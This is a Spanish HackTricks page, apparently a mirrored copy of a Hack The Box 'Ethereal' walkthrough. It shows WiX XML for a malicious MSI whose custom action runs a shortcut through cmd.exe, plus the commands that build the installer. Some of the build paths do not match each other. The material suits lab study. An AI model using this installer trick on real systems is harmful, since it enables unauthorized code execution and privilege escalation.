mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
76 lines
4.4 KiB
Markdown
76 lines
4.4 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al grupo de** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) o al grupo de [**telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
|
|
**Tutorial copiado de** [**https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root**](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)\
|
|
Para crear el msi utilizaremos [wixtools](http://wixtoolset.org), puedes usar otros constructores de msi pero no funcionaron para mí.\
|
|
Consulta [esta página](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) para ver algunos ejemplos de uso de msi con wix.\
|
|
Crearemos un msi que ejecute nuestro archivo lnk:
|
|
```markup
|
|
<?xml version="1.0"?>
|
|
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
|
|
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
|
|
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
|
|
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
|
|
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
|
|
<Directory Id="TARGETDIR" Name="SourceDir">
|
|
<Directory Id="ProgramFilesFolder">
|
|
<Directory Id="INSTALLLOCATION" Name="Example">
|
|
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
|
|
</Component>
|
|
</Directory>
|
|
</Directory>
|
|
</Directory>
|
|
<Feature Id="DefaultFeature" Level="1">
|
|
<ComponentRef Id="ApplicationFiles"/>
|
|
</Feature>
|
|
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
|
|
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
|
|
Impersonate="yes"/>
|
|
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
|
|
fail_here
|
|
</CustomAction>
|
|
<InstallExecuteSequence>
|
|
<Custom Action="Stage1" After="InstallInitialize"></Custom>
|
|
<Custom Action="Stage2" Before="InstallFiles"></Custom>
|
|
</InstallExecuteSequence>
|
|
</Product>
|
|
</Wix>
|
|
```
|
|
Vamos a utilizar `candle.exe` de wixtools para crear un wixobject a partir de `msi.xml`
|
|
```markup
|
|
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
|
|
```
|
|
Luego utilizaremos `light.exe` para crear el archivo msi a partir del wixobject:
|
|
```markup
|
|
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
|
|
```
|
|
```markdown
|
|
![](https://0xrick.github.io/images/hackthebox/ethereal/66.png)
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
```
|